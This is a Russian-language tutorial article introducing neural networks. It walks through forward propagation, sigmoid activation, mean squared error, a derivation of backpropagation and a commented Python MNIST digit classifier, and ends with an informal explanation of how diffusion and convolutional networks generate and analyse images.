Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9469 / Markets: 114759

Market Cap: $ 3 649 413 147 676 / 24h Vol: $ 111 462 614 249 / BTC Dominance: 58.888008521454%

Н Новости

Введение в нейросети: что, зачем и как?

Full-mesh Deep Neural Network (DNN) - Полносвязная Глубокая Нейросеть

В сети полно примеров программного кода нейронных сетей, однако подавляющее большинство составлено с использованием дополнительных библиотек и «математических приёмчиков» — не вдаваясь при этом в какие‑либо подробности — мол, работает шайтан — и уже хорошо, главное — что «уместилось» в N строчек кода и «объяснено» всего за M минут.

Не берусь утверждать, что нейросети — это «элементарная база», но всё же попытаюсь максимально упростить эту тему; по возможности, не утрачивая информативность.

«Нейрон» — биологическое название нервной клетки; биологическая «нейронная сеть» — нервная система. Искусственная нейронная сеть — это реляционная база данных, в которой коэффициенты реляций — они же «веса связей», между данными в ячейках — они же «узлы» — заведомо неизвестны и генерируются псевдо‑случайным образом — этот процесс называется инициализацией нейросети. Такая нейросеть (инициализированная) со случайными коэффициентами «весов связей» на практике бесполезна и является «необученной». Чтобы «обучить» нейросеть выдавать более‑менее точные и, следовательно, полезные расчёты — необходимо дать ей заведомо точные результаты расчётов и программу «машинного обучения», которую в данном контексте можно считать искусственным интеллектом — хотя на деле, если докопаться до деталей — эта программа не намного «интеллектуальнее» пресловутого программного сортировщика или генератора псевдослучайных чисел.

Программа машинного обучения генерирует случайное число (инициализация) из указанного диапазона (обычно от -0.5 до +0.5) в качестве коэффициента - он же "вес"; затем входные данные умножаются на этот коэффициент, а все такие произведения для каждого отдельно взятого узла - суммируются (прямое распространение). Эта сумма произведений далее "причёсывается" так называемой "функцией активации", чтобы умещаться в конечный диапазон (обычно от 0 до 1) - в качестве такой функции чаще всего используется "сигмоида" - подробнее о ней напишу чуть ниже. Вывод из функции активации сравнивается с требуемым результатом (функция потерь) - в зависимости от результата сравнения корректируется значение "веса" для следующей итерации (обратное распространение) - и эта рекурсия может повторяться до бесконечности, с каждым шагом потенциально сужая диапазон вероятных значений. То, на сколько этот диапазон уменьшился относительно начального диапазона - отражает текущий показатель точности прогнозов нейросети; например, если из диапазона "0 - 1" остался диапазон "0.87 - 0.88", то такая нейросеть достигла уверенности (точности прогнозов) - 99%.

Замена данных во входном слое обученной нейросети на новые данные (для прямого распространения) - позволяет классифицировать эти данные с помощью этой нейросети.

Обладая обученной нейросетью, выдающей достаточно точные прогнозы - можно пропускать через эту нейросеть (через эту реляционную базу данных) уже другие данные, которых не было в учебном датасете (dataset - коллекция данных) - где нам заведомо неизвестен правильный расчёт, но исходя из похожести новых данных на данные из обучающей выборки и исходя из точности подобранных на учебной выборке "параметров" мы можем обладать некоторой уверенностью в том, что рассчитанный такой нейросетью прогноз по своей точности практически не уступит точности прогнозов в учебном датасете.

Эта уверенность - равняется произведению двух коэффициентов: первый - это точность прогнозов нейросети на учебном датасете, и второй - это похожесть новых данных на данные из учебного сета. Например, если нейросеть обучалась на картинках кошек и собак и достигла 99% точности в опознании тех и других, но если новые данные для такой нейросети не будут похожи ни на собак ни на кошек, а будут даны, к примеру, бобёр и синица - то нейросеть, конечно же, скажет, кто из них больше похож на собаку, а кто на кошку, но не более того - такая нейросеть никогда не даст разумного ответа о данных, сильно отличающихся от всего на чём она училась.

По сути - выходит, что нейросети - это инструмент классификации и автоматизации прогнозов, применимый к относительно стабильным системам - это такие системы, которые либо практически не меняются со временем (меняются значительно медленнее, чем нейросеть обучается), либо меняются циклично - что позволяет создавать учебные датасеты в очень высокой степени похожие на реальные данные, с которыми в будущем будет работать нейросеть. Например - анатомию тела можно считать стабильной системой: она может не меняться тысячелетиями. Это позволяет калибровать нейросети на датасетах людей с различными недугами, обучая их ставить не менее точные диагнозы, чем самые квалифицированные медики. И обратный пример: спортивные матчи, фондовый рынок, траектории элементарных частиц - нестабильные, хаотичные системы, где предсказания даже самой прокаченной нейросети, как и любого человека-эксперта - могут нести только развлекательный характер. Не то что бы всё это было совсем бесполезно - нет; среднерыночную прибыль, сопоставимую с банковским вкладом, можно с высокой долей вероятности "поднять" на бирже, если строго придерживаться инвестиционных советов ботов - просто их показатели не какие-то выдающиеся, а очень даже средние, если не сказать минимальные - ведь в конечном счёте, финансовые боты позиционируются именно как инструмент сбора и анализа огромных объёмов данных, на основе которых они всего лишь вычисляют показатель риска и составляют чарты по наименее рискованным инвестициям - но не прогнозируют прибыль вкладов и, конечно же, не гарантируют её. Да - если сравнивать "игру вслепую" со стратегией искусственного интеллекта - само собой, стратегия будет (в среднем) более выгодна - но эта выгода будет минимальна - меньше чем, например, темпы роста биткоина - но и с меньшими рисками. Именно поэтому многие инвесторы были шокированы внезапной закупкой Илоном Маском криптовалюты на полтора миллиарда американских долларов, но что с того? Миллиардер не прогадал и заработал на этом; его акции поднялись больше, чем акции тех, кто придерживается стратегии BlackRock - получается, его рискованный прогноз оказался прибыльнее общего "расчётливого тренда" - и это лишь один пример из бесчисленного множества.

Machine Learning (ML) - алгоритм Машинного Обучения

Прямое распространение - это преобразование входных данных (особенностей) в сигналы на выходе (классы или прогнозы). Прямое распространение применяет к данным (умножает) текущие (подобранные в процессе обучения) коэффициенты связей (параметры), суммирует такие вводы для каждого узла и пропускает полученный результат через фильтр - через функцию активации.
Прямое распространение влияет на значения узлов (нейронов).

Функция активации - по сути просто аппроксимация; применяется в тех случаях, где ответ должен укладываться в конечный диапазон - когда значения ведущих к ответу узлов, помноженных на коэффициенты связей, в этот диапазон не укладываются и вообще могут быть изначально никак не ограничены. Подобное "сжатие" диапазона ответов называется функцией активации, которые бывают разные, например "сигмоида" -

$σ(x) = \frac {1}{1+e^{-x}}$

Примечание: тот же символ (сигма) - часто используется для формулы среднеквадратичного отклонения, которая очень похожа на среднеквадратичную ошибку, о которой пойдёт речь чуть ниже - но всё же, они разные: в среднеквадратичной ошибке нет операции извлечения квадратного корня.

Backward Propagation - обратное распространение (ошибки)

Каждый узел выходного слоя можно обусловить как какой-то произвольный класс - после чего итеративно (пошагово) модифицировать параметры нейросети таким образом, чтобы поступающие в неё данные, проходя через эту нейросеть, разрешались в один из этих классов - подобно тому как у людей различные визуальные образы ассоциируются с различными смыслами.

Если прямое распространение выглядит довольно прозрачно - умножение, сложение и аппроксимация, то обратное распространение - процесс вычисления "неверных" связей - может показаться чуть менее очевидным.

Обратное распространение - это процесс коррекции параметров; его же можно воспринимать как процесс обучения. Начинается с функции потерь и продолжается математическим инструментом "производная", вытекающим в "цепное правило".
Обратное распространение влияет на значения коэффициентов связей (весов).

Смысл "обратного распространения ошибки" - в том, чтобы максимизировать вывод на "правильных" узлах - соответствующих корректным классам, и минимизировать ошибку - выводы на всех остальных выходных узлах.

Первый шаг в обратном распространении - расчёт влияния так называемой "стоимости ошибки" (на математическом языке - функция потерь) из последнего слоя - слоя вывода, на коэффициенты связей (параметры), ведущие к этому слою.

На математическом языке, композитную (сложную) функцию от функции потерь для каждого выходного узла искусственной нейросети можно сформулировать следующим образом (если выглядит страшно, то, наверное, можно её пока пропустить):

$z_n=σ_1((w_{1}...w_{i})(σ_2((w_{1}...w_{i})(...σ_{k}((w_{1}...w_{i})(f(эталон_n,прогноз_n)))...))))$

Эта же формула, но записанная по-другому (я не издеваюсь, вдруг так правда проще?):

$z_n=(σ_1(w_{1}...w_{i})∘σ_2(w_{1}...w_{i})∘...∘ σ_k(w_{1}...w_{i})∘f )(эталон_n,прогноз_n)$

где z - сложная функция (прямого распространения) от всех параметров нейросети и функции потерь для выходного узла n; f - функция потерь; σ - функция активации (на примере сигмоиды); k - количество скрытых слоёв нейросети; i - количество узлов в слое; n - номер выходного класса.

Объединив все переменные в общую композитную функцию прямого распространения по нейросети - с помощью правил дифференцирования, можно определить индивидуальный вклад в функцию от каждой переменной - что, в свою очередь, необходимо для коррекции (обучения) параметров искусственной нейросети в ходе обратного распространения ошибки.

Но перед, непосредственно, "обратным распространением" - необходима небольшая ремарка об упомянутой выше функции потерь.

Существуют разные функции потерь - для разных ситуаций и для продвинутых пользователей, но в большинстве случаев можно обойтись функцией среднеквадратичной ошибки (Mean Squared Error): MSE возводит в квадрат разность полученного результата и ожидаемого (эталонного), затем суммирует все такие квадраты разностей между собой и делит на количество этих квадратов. MSE удобна своей универсальностью, поскольку не важно что из чего вычитать - умножение результата самого на себя (возведение в чётную степень) всегда будет давать положительный результат:

$MSE=\sum_{i=1}^{D}\frac{(прогноз_i-эталон_i)^2}{D}$

Вообще говоря - для обучения искусственной нейросети, сам показатель не важен - значение имеет лишь его динамика.

В математике уже давно изобретён (или открыт?) инструмент для исследования динамики функций - и называется он "производная". Произво́дная функции - понятие дифференциального исчисления, характеризующее скорость изменения функции в данной точке. Применимо к искусственным нейросетям это означает, что с помощью частной производной (и цепного правила) можно вычислить вклад каждой отдельно взятой нейронной связи в общую функцию потерь.

Объявим функцию потерь от двух переменных:

Тогда общая функция потерь будет выглядеть так:

$f_{общ}(прогноз,эталон)=f_{1}(пр_1,эт_1)+f_{2}(пр_2,эт_2)+...+f_{n}(пр_n,эт_n)$

где n - количество классов (выходных узлов) в нейросети.

Общая функция потерь на основе среднеквадратичной ошибки:

$f_{общ}(прогноз,эталон)=\sum_{i=1}^{n}\frac{(прогноз_i-эталон_i)^2}{n}$

С помощью правил дифференцирования функции от нескольких переменных, находим частные производные (общей) функции потерь по прогнозам (они нужны для последующих вычислений), принимая все остальные слагаемые за постоянные (производная которых равна нулю):

$\frac{\partial f_{общ}}{\partial прогноз_i} = 0 +\frac{2}{n}(прогноз_i-эталон_i)$

Примечательно, что этот процесс дифференцирования делает равными между собой производные от общей функции потерь и от какой-либо отдельно взятой функции потерь по какой-то конкретной переменной:

$\frac{\partial f_{общ}}{\partial прогноз_i} = \frac{\partial f_i}{\partial прогноз_i}$

К тому же, множитель (2/n) в данном случае, как и ноль, не играет никакой роли - всё равно дальше всё будет умножено на параметр "шага обучения", который задаётся произвольным образом.

В итоге - в контексте последнего слоя нейросети, частная производная функции потерь (общей или частной) по какому-то конкретному выводу выглядит так:

$\frac{\partial f_{общ}}{\partial прогноз_i} ≈(прогноз_i-эталон_i)≈ \frac{\partial f_i}{\partial прогноз_i}$

где i - номер (индекс) выходного узла (класса).

Эту формула напоминает игру "холодно-горячо", где она в буквальном смысле выдаёт значения температуры, только наоборот: при эталоне равном нулю, вычитание нуля из любого значения будет вытекать в положительные значения производной; а при эталоне равном единице - вычитание единицы из любого меньшего числа будет давать отрицательную производную функции потерь.

Положительную производную функции потерь по прогнозам - можно понимать как количество ошибки; а отрицательная производная функции потерь относительно прогнозов - указывает на степень правильности.

К сожалению, такая "обратная" логика не очень хорошо укладывается в общую картину нейросетей, где принято увеличивать значения "на верном пути" и уменьшать ошибку - поэтому полученный результат умножается на отрицательный коэффициент шага обучения - этот множитель определяет скорость обучения, задаётся вручную и его калибровка позволяет снизить количество эпох - итераций обучения, необходимых для достижения приемлемой уверенности в прогнозах.

Производная функции потерь по прогнозам, умноженная на (отрицательный) шаг обучения - это и есть самые первые параметры, рассчитанные в самом начале того, что уже называется "обратным распространением ошибки".

Цепное правило: производная композиции функций

В переводе на человеческий язык, формула выше означает, что производная сложной (композитной) функции равна произведению производных - внешней функции и внутренней.

Примечание: в обозначениях Лейбница цепное правило для вычисления производной функции z = z(f), где f = f(x), принимает следующий вид:

$\frac{dz}{dx}= \frac{dz}{df}\cdot\frac{df}{dx}$

Для дальнейших определений, введём понятие "взвешиваемого узла" - это следующий за каким-то конкретным весом (параметром) узел (нейрон). При прямом распространении, значения узлов умножаются на "исходящие" из них параметры - так вот, вес в контексте "взвешиваемого узла" - это именно "входящий", а не "исходящий" вес.

Применяя цепное правило относительно коэффициентов связей - можно вычислить частную производную общей функции потерь по весу связи "w" - градиент по параметру "w"

Частная производная общей функции потерь по какому-то весу "w" - равна производной общей функции потерь по выводу взвешиваемого этим весом узла, умноженной на производную вывода (взвешиваемого узла) по вводу (взвешиваемого узла), умноженной на производную ввода (взвешиваемого узла) по этому весу:

$[1]\frac{\partial f_{общ}}{\partial w_{px}} = [2] \frac{\partial f_{общ}}{\partial вывод_x}\cdot[2]\frac{\partial вывод_x}{\partial ввод_x}\cdot[2]\frac{\partial ввод_x}{\partial w_{px}}$

примечание: цифры в квадратных скобках перед выражением - означают его "уровень"; я добавил их для наглядности - далее по тексту будет ясно, зачем они. Математического смысла они не несут, в вычислениях не участвуют!

Рассмотрим по отдельности каждый множитель из этой формулы; начнём с первого - производная общей функции потерь по выводу узла "х".

Поскольку общая функция потерь является суммой всех функций потерь,

$f_{общ}(прогноз,эталон)=\sum_{i=1}^{n}\frac{(прогноз_i-эталон_i)^2}{n}$

то это же верно и для её производной (одно из правил):

$f_{общ}'(прогноз,эталон)=f_1'(пр_1,эт_1)+ f_2'(пр_2,эт_2)+...+f_n'(пр_n,эт_n)$

Перепишем это же уравнение по отношению к выводу какого-то узла "х":

$[2]\frac{\partial f_{общ}}{\partial вывод_x} = [3]\frac{\partial f_1}{\partial вывод_x}+ [3]\frac{\partial f_2}{\partial вывод_x}+...+[3]\frac{\partial f_n}{\partial вывод_x}$

где n - количество выходных классов; x - индекс взвешиваемого узла.

Каждое слагаемое из этой суммы можно найти по следующей формуле:

$[3]\frac{\partial f_{i}}{\partial вывод_x}=[4]\frac{\partial f_{i}}{\partial ввод_i}\cdot[4]\frac{\partial ввод_{i}}{\partial вывод_x}$

где i - целое число от 1 до n, где n - количество выходных узлов нейросети.

При прямом распространении, ввод узла "i" вычисляется простым умножением значения (вывода) узла "x" на коэффициент исходящей из него связи "w"(xi):

$ввод_i=вывод_x\cdot w_{xi}$

Следовательно - искомая в ходе обратного распространения производная ввода следующего слоя от вывода предыдущего - равна коэффициенту связи (весу) между взвешиваемым узлом и этим вводом:

$[4]\frac{\partial ввод_{i}}{\partial вывод_x}=w_{xi}$

Производная функции потерь по вводу - как сложная функция, раскладывается в произведение производных:

$[4]\frac{\partial f_{i}}{\partial ввод_i}=[5]\frac{\partial f_{i}}{\partial вывод_i}\cdot[5]\frac{\partial вывод_{i}}{\partial ввод_i}$

Ну а здесь уже всё "родное" - первый множитель вспомним из недавних расчётов:

$[5]\frac{\partial f_i}{\partial вывод_i} ≈ (вывод_i-эталон_i)$

По поводу второго множителя - поскольку вывод с какого-либо узла является функцией активации от его ввода,

$вывод_i=σ(ввод_i) = \frac {1}{1+e^{-ввод_i}}$

то производная вывода по вводу - равняется производной от функции активации по этому вводу, применённой в ходе прямого распространения ко взвешиваемому узлу:

$[5]\frac{\partial вывод_{i}}{\partial ввод_i}= σ(ввод_i)\cdot(1-σ(ввод_i))=вывод_i-вывод^2_i$

Подставим найденные значения в формулу "уровнем" выше:

$[4]\frac{\partial f_{i}}{\partial ввод_i}= (вывод_i-эталон_i)(вывод_i-вывод^2_i)$

И ещё выше - в итоге, получаем формулу производной частной функции потерь по выводу взвешиваемого узла:

$[3]\frac{\partial f_{i}}{\partial вывод_x}=(вывод_i-эталон_i)(вывод_i-вывод^2_i)w_{xi}$

В этой формуле примечательно использование веса w(xi), исходящего из взвешиваемого узла: именно поэтому данный метод коррекции называется "обратным распространением ошибки" - потому что первыми по порядку корректируются значения выходных параметров, а за ними - на их основе, корректируются более глубокие параметры - и так далее - с последнего слоя нейросети до первого.

Далее - подставляем всё это в формулу производной общей функции потерь по выводу какого-то узла "х":

$\frac{\partial f_{общ}}{\partial вывод_x} = \frac{\partial f_1}{\partial вывод_x}+ \frac{\partial f_2}{\partial вывод_x}+...+\frac{\partial f_n}{\partial вывод_x}$ $[2]\frac{\partial f_{общ}}{\partial вывод_x} = \sum_{i=1}^n (прогноз_i-эталон_i)\cdot (прогноз_i-прогноз^2_i)\cdot w_{xi}$

где n - количество выходных узлов нейросети; w - параметр, исходящий из взвешиваемого узла.

Вернёмся к "главной" формуле:

Первый множитель - только что обозначенная сумма;
Производная вывода узла по его вводу - это производная от его функции активации:

$вывод_x =σ(ввод_x)= \frac {1}{1+e^{-ввод_x}}$ $[2]\frac{\partial вывод_x}{\partial ввод_x}=σ '(ввод_x)=вывод_x(1-вывод_x)$

Производная от ввода по весу - просто равняется предыдущему выводу, из которого идёт связь с искомым весом:

$ввод_x=вес_{1x}\cdotвывод_{1}+вес_{2x}\cdotвывод_{2} +....+вес_{px}\cdotвывод_{p}+смещение_{bias}$ $[2]\frac{\partial ввод_x}{\partial вес_{px}} = 0+вывод_p$

где p - индекс узла из которого идёт связь со взвешиваемым узлом; w(px) - входящая связь во взвешиваемый узел. Смещение (bias) - "голый" вес без коэффициента узла - важный элемент, без которого нейросеть работает менее точно, чем с ним. Ну правда - я не знаю как лучше его объяснить, да и зачем? Иногда лучше просто "shut up and calculate".

Итоговый вид формулы производной общей функции потерь по весу "w" до узла "x":

для узла "х" из последнего слоя:

$\frac{\partial f_{общ}}{\partial w_{px}} = (вывод_x(1-вывод_x))\cdot (вывод_p)\cdot \sum_{i=1}^n (прогноз_i-эталон_i)$

для узла "х" из всех остальных слоёв:

$\frac{\partial f_{общ}}{\partial w_{px}} = (вывод_x(1-вывод_x))\cdot (вывод_p)\cdot \sum_{i=1}^n (пр_i-эт_i)(пр_i-пр^2_i)w_{xi}$

где x - индекс взвешиваемого узла; p - индекс "исходящего" узла; n - количество выходных узлов в нейросети; х ∉ p ∉ n

Примечания:

если индекс p относится к "узлу смещения" (bias), то переменная "вывод(р)" упраздняется в единицу;
w(px) - вес связи от узла "p" до узла "x";
w(xi) - вес связи от узла "х" до узла "i".

Итак, нейросеть - это некоторое множество "вводов", на каждый из которых поступают данные из разных источников (подобно нервным окончаниям у людей) и связи различной силы этих "вводов" с "выводами", которые эта нейросеть делает из полученных данных. Что-то ещё?

Ну, во-первых - прямая связь "ввода" с "выводом" - это то, что называется одним "слоем" нейронной сети, а таких слоёв может быть множество - где "вывод" одного слоя - это "ввод" следующего. Если у нейронной сети больше одного слоя, то все "промежуточные" слои - называются "скрытыми" (hidden). Когда у нейросети более одного скрытого слоя - то такая сеть считается "глубокой" - от термина "глубокое обучение" (deep learning), посвящённого, собственно, обучению таких сетей. Смысл таких слоёв (и "глубокого обучения") в том, чтобы усложнить связи между вводом и выводом - добавить коэффициенты к коэффициентам, позволяющие более гибко адаптировать их значения под требуемые результаты.

С увеличением количества скрытых слоев и количества узлов в этих слоях увеличивается "выразительность" сети - её способность выделять зависимости и закономерности во входных данных. Однако с увеличением сложности сети, каждый следующий слой поднимает затраты на обучение такой сети - в геометрической прогрессии; кроме того - слишком "сложная" нейросеть - с избытком скрытых слоёв - будет страдать от "переобучения" - это когда нейросеть слишком хорошо "запоминает" обучающий датасет и утрачивает способность обобщать его с новыми данными. Поэтому - выбор оптимального количества скрытых слоев и количества узлов в этих слоях является важной задачей при проектировании нейросети и требует тщательного анализа и экспериментов.

Во-вторых - так называемые "нейроны смещения" - узлы с фиксированным значением - добавляются к каждому скрытому слою и не имеют "входных" связей: своеобразные усилители сигнала.

В-третьих - "функция активации" - по сути просто аппроксимация; применяется в тех случаях, где ответ должен укладываться в конечный диапазон. Например - функция активации ReLU

Ну и последнее - "функция потерь" - это первый градиент, с которого начинается обратное распространение.

Cписок всех логических элементов искусственной нейронной сети:

входные узлы (особенности)
коэффициенты связей (параметры)
узлы смещения (bias)
скрытые слои
функция активации
функция потерь
выходные узлы (прогнозы)

Всего-то 7 штук! И все известны уже более 30 лет.

Теперь - подробно разберём программный код нейросети на питоне - классификатора изображений, способного определять, на какую из десяти различных цифр больше всего похоже данное ему изображение.

Программа состоит из трёх частей: учебный датасет "MNIST" (который скачивается по этой ссылке), состоящий из 60 тысяч картинок цифр с названиями; программный модуль, преобразующий данные из этого датасета и, собственно, код самой нейросети. Сначала - код модуля get-mnist:

# модули numpy и pathlib должны быть установлены в питон
import numpy as np
import pathlib


# Объявление функции "get_mnist", которая будет возвращать значения, указанные ниже в команде return (images и labels).
def get_mnist():

# Из файла извлекается два массива: images (из ключа “x_train”) и labels (из ключа “y_train”). x_train содержит изображения цифр, а y_train - соответствующие им метки (цифры от 0 до 9).
# Примечание: предполагается, что файл mnist.npz размещён в папке data, которая находится в папке со скриптом.
    with np.load(f"{pathlib.Path(__file__).parent.absolute()}/data/mnist.npz") as f:
        images, labels = f["x_train"], f["y_train"]

# Преобразуем тип данных массива images в float32 и сожмём значения в диапазон от 0 до 1 путем деления на 255. 
    images = images.astype("float32") / 255

# images - трёхмерный массив двухмерных картинок, [0] измерение это количество картинок, а измерения [1] и [2] - размерности по высоте и ширине. Умножив размерности [1] и [2] друг на друга - получается общее количество пикселей в изображении. На выходе получается двухмерный массив - матрица.
    images = np.reshape(images, (images.shape[0], images.shape[1] * images.shape[2])) 

# Здесь метки преобразуются в формат "one-hot encoding". Мы создаем матрицу размером 10x10, где каждая строка представляет одну метку (цифру от 0 до 9). Значение 1 в строке соответствует метке, а остальные значения равны 0. 
    labels = np.eye(10)[labels]

# Функция возвращает два массива: images (обработанные изображения) и labels (one-hot encoded метки).
              return images, labels

Далее - разберём код самой нейросети - программы машинного обучения:

# Ниже код программы машинного обучения искусственной нейросети - классификатора изображений
from data import get_mnist
import numpy as np
import matplotlib.pyplot as plt


"""
w = weights (вес), b = bias (смещение), i = input (ввод), h = hidden (скрытый), o = output (вывод), l = label (правильный ответ)
e.g. w_i_h = weights from input layer to hidden layer (вес_ввод_скрытый - вес связи между вводом и скрытым слоем)
"""

# Загрузка данных из датасета
images, labels = get_mnist()

# Инициализация весов случайными числами
w_i_h = np.random.uniform(-0.5, 0.5, (20, 784))
w_h_o = np.random.uniform(-0.5, 0.5, (10, 20))
# Инициализация смещений нулями
b_i_h = np.zeros((20, 1))
b_h_o = np.zeros((10, 1))

# learn_rate - шаг обучения, epochs - количество итераций, nr_correct - отслеживает количество правильных предсказаний
learn_rate = 0.2
nr_correct = 0
epochs = 3

# Цикл обучения
for epoch in range(epochs):

# Чтобы numpy мог посчитать скалярное произведение, необходимо подготовить одномерные матрицы img и l; использование zip ползволяет обрабатывать соответствующие элементы из нескольких массивов одновременно
    for img, l in zip(images, labels):
        img.shape += (1,)
        l.shape += (1,)

	# Прямое распространение ввод -> скрытый слой: вес смещения ввода суммируется с произведениями вводов и их весов (произведения между собой так же суммируются)
        h_pre = b_i_h + w_i_h @ img
	# Применение функции активации "сигмоида":  np.exp - функция экспоненты - возведение числа Эйлера в степень, указанную в скобках. При возведении экспоненты в отрицательные степени - результат стремится к нулю, а при возведении в положительные - к бесконечности
        h = 1 / (1 + np.exp(-h_pre))
        # Прямое распространение скрытый слой -> вывод: вес смещения скрытого слоя суммируется с произведениями значений узлов скрытого слоя и их весов (произведения между собой так же суммируются)
        o_pre = b_h_o + w_h_o @ h
	# Применение функции активации "сигмоида"
        o = 1 / (1 + np.exp(-o_pre))

        # Стоимость ошибок, она же Функция потерь (на примере среднеквадратической ошибки; в данном коде эта переменная никак не используется и оставлена просто для наглядности)

        # e = 1 / len(o) * np.sum((l - o) ** 2, axis=0)

        # Если ячейка с максимальным значением в слое вывода совпадает с ячейкой с максимальным значением в одномерной матрице l - labels - то счётчик правильных ответов увеличивается
        nr_correct += int(np.argmax(o) == np.argmax(l))

        # Обратное распространение вывод -> скрытый слой (производная функции потерь)
        delta_o = (2/len(o)) * (o - l)
        # К весу от скрытого слоя до вывода (на каждый нейрон соответственно) добавляется произведение его правильности на шаг обучения: у ошибочных результатов показатель отрицательный и, следовательно, он вычитается.
        # Транспонирование матриц - необходимо для их умножения. Операция умножения двух матриц выполнима только в том случае, если число столбцов в первом сомножителе равно числу строк во втором; в этом случае говорят, что матрицы согласованы.
        w_h_o += -learn_rate * delta_o @ np.transpose(h) 
        b_h_o += -learn_rate * delta_o

        # Обратное распространение скрытый слой -> ввод (производная композитной функции - производная функции активации умноженная на производную функции потерь))
        delta_h = np.transpose(w_h_o) @ delta_o * (h * (1 - h))
        w_i_h += -learn_rate * delta_h @ np.transpose(img)
        b_i_h += -learn_rate * delta_h

    # Показать точность прогнозов для текущей итерации обучения и сбросить счётчик правильных прогнозов
    print(f"Уверенность: {round((nr_correct / images.shape[0]) * 100, 2)}%")
    nr_correct = 0

# Показать результаты - запрашивает у пользователя номер картинки, которая будет пропущена через нейросеть прямым распространением, в результате которого нейросеть предскажет какая цифра на картинке
while True:
    index = int(input("Введите число (0 - 59999): "))
    img = images[index]
    plt.imshow(img.reshape(28, 28), cmap="Greys")
    
    # Прямое распространение ввод -> скрытый слой
    h_pre = b_i_h + w_i_h @ img.reshape(784, 1)
    # Активация сигмоида
    h = 1 / (1 + np.exp(-h_pre))
    # Прямое распространение скрытый слой -> вывод
    o_pre = b_h_o + w_h_o @ h
    # Активация сигмоида
    o = 1 / (1 + np.exp(-o_pre))

    # argmax возвращает порядковый номер самого большого элемента в массиве
    plt.title(f"Нейросеть считает, что на картинке цифра {o.argmax()}")
    plt.show()

Этот пример, с классификацией цифр датасета MNIST - можно считать "hello world" задачей из мира нейросетей - достаточно наглядный и при этом не слишком сложный код. Если его понимание не вызвало трудностей и интерес к теме сохранился - то можно дополнить список функций активации (начинайте с ReLU - она самая популярная) - wikipedia

Как же нейросети рисуют картинки?

Окей, с тем как нейросети классифицируют объекты - разобрались: даются вводные данные, даются эталонные данные и случайным образом инициализированные параметры "подстраиваются" под эти данные - в процессе обратного распространения ошибки.

Этот же принцип - но применённый не к параметрам, а к узлам первого слоя - слоя ввода - "лёгким движением руки" превращает обученную нейросеть-классификатор в генератор новых данных (например, изображений):

Значения узлов вводного слоя изменяются на произвольные величины (в данные вводится шум или же данные полностью заменяются шумом) - эти изменения передаются прямым распространением по обученной нейросети до выводов, которые меняются в соответствии с изменениями ввода, а по динамике этих изменений нейросеть отслеживает - какие изменения и на каких узлах ввода лучше соответствуют требуемым выводам, а какие - хуже. Таким образом - за каждую итерацию "примеряя" к требуемым выводам небольшие произвольные изменения данных (например, цвета пикселей) - отбрасывая не подходящие значения и закрепляя подходящие - нейросеть за множество итераций формирует наиболее подходящий под запрошенные выводы результат, как бы "рассеивая" перекрывающий его шум:

Понятно, что ничего не понятно

Например - у нас есть нейросеть-классификатор, обученная на различных изображениях, среди которых есть подсолнух. Показывая нейросети этот (или любой другой) подсолнух - мы вводим определённую последовательность данных (пиксели на входном слое нейросети), которые, проходя по всем узлам и параметрам, больше всего разрешаются в класс, соответствующий "подсолнуху". Само собой - на разные изображения "реакция" нейросети будет отличаться - условно говоря, относительно нейросети, всегда будут какие-то более "подсолнечные" подсолнухи, чем остальные, ничем не худшие - просто снятые с другого ракурса и расстояния.

Вводя в изображение подсолнуха минимальный шум - изменяя значения пикселей на случайные, но небольшие величины - будет меняться и уверенность нейросети в том, что перед ней всё ещё подсолнух. Постоянно добавляя к изображению шум, рано или поздно - исходное изображение станет совершенно неразличимым - изнутри нейросети это выглядит как наименьшая уверенность - наименьший вывод по всем классам.

Ну а теперь, "дело за малым" - взять да обратить процесс добавления шума примерно так же, как описанное выше обратное распространение обращает прямое.

Но ведь шум то - случайный! Обратить такое - уже не так просто, как обратить функцию по производной. Любой случайный шум - безвозвратно удаляет часть информации; удаление такого случайного шума либо восстановление информации - задача, по крайней мере до недавних пор, весьма нетривиальная. Для решения такой задачи необходим алгоритм, во-первых, отличающий "шум" от "не шум" и, во-вторых, алгоритм, заменяющий найденный им шум на данные, наиболее подходящие по контексту. Как бы к этой задаче подошёл человек? А давайте проверим - как же хорошо что перед монитором как раз есть такой!

На какой картинке больше шума?

Очевидно - что шума больше на правой. Очевидно, но почему? Чем мы можем характеризовать помехи? Давайте посмотрим на картинки поближе:

Ну пиксели и пиксели.

Если взять два увеличенных участка с этих картинок и сравнить между собой - будет ли так же очевидно, на каком из них больше шума, как это очевидно с исходниками? А вот и нет! В случае с увеличенными фрагментами - перед нами могут быть две примерно одинаково хаотичных картинки.

Выходит, что шум - это что-то вроде меры хаоса в системе и получается, что эта мера напрямую зависит от масштабов этой системы: в масштабах увеличенных фрагментов 10х10 пикселей мера хаоса оказывается выше, чем в их исходниках значительно большего размера. Почему? Как ни банально - просто потому, что больший масштаб всегда содержит в себе больше смысловых элементов, чем меньший. Именно с общего плана мы видим, что слева - перед нами горы, камни, вода, небо, а справа - люди и воздушные шары. И лишь поняв это, для нас становится очевидным, что на горах слева намного меньше шума чем на шариках справа - потому что мы сравниваем найденные на изображениях образы с эталонными (воспоминаниями), откуда и делаем вывод, по количеству отличий - о количестве шума. Всё дело в том, что мы знаем - как обычно выглядят и люди, и шарики, и горы - это и позволяет нам видеть на их изображениях "лишние" пиксели шума.

Точно такой же принцип используется в "свёрточных нейросетях", наиболее широко известных под термином CNN (convolutional neural network), самым популярным примером которых является архитектура U-Net (потому что её схема похожа на букву U): они смотрят на общий план, выделяют на нём смысловые элементы и сравнивают их с накопленным (в ходе обучения) опытом. То что мы назвали бы "посмотреть на картинку шире", в предыдущем примере, отдаляясь от мелкого фрагмента к полному изображению - в терминологии нейросетей называется "свёрткой" (convolution). В процессе свёртки нейросеть, как бы, абстрагируется от отдельных пикселей к смыслу отдельных элементов - а затем, смыслу всей картинки в целом. Свёртка - это, по сути, сжатие (с потерями), в некотором смысле, напоминающее вычисление хеш-суммы: в процессе свёртки исходные данные сжимаются в сотни и тысячи раз (и больше), при этом - у различных исходных данных свёртки так же будут разные (до определённого уровня). Сопоставлять объекты по их "свёрткам" - намного быстрее, чем сравнивать несжатые объекты. Благодаря этому "лайфхаку" нейросети могут в реальном времени обрабатывать визуальные данные даже на чипах мобильных устройств - современных смартфонов.

